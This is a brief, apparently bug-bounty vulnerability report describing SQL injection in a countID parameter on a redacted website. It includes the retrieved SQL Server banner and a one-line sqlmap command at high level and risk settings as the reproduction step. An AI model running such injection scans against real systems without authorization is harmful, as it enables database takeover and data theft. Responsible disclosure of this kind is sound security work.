SQL Injection on www.██████████ on countID parameter

How it was found

Description: Hello Team, I have came across a sql injection vulnerability on www.██████ on countID parameter. I was able to retrieve the banner which is

Microsoft SQL Server 2008 R2 (SP3) - 10.50.6220.0 (X64& Mar 19 2015 12:32:14 Copyright (c) Microsoft Corporation Standard Edition (64-bit) on Windows NT 6.3 <X64> (Build 9600: ) (Hypervisor)

after confirming the vulnerability i have stopped testing further.

Vulnerable URL: https://www.███/public/saveCount.cfm?countID=4

Steps to Reproduce:

1. python sqlmap.py -u https://www.██████████/public/saveCount.cfm?countID=4 --level=3 --risk=3

POC █████████

Impact

Attacker can take control over the database server.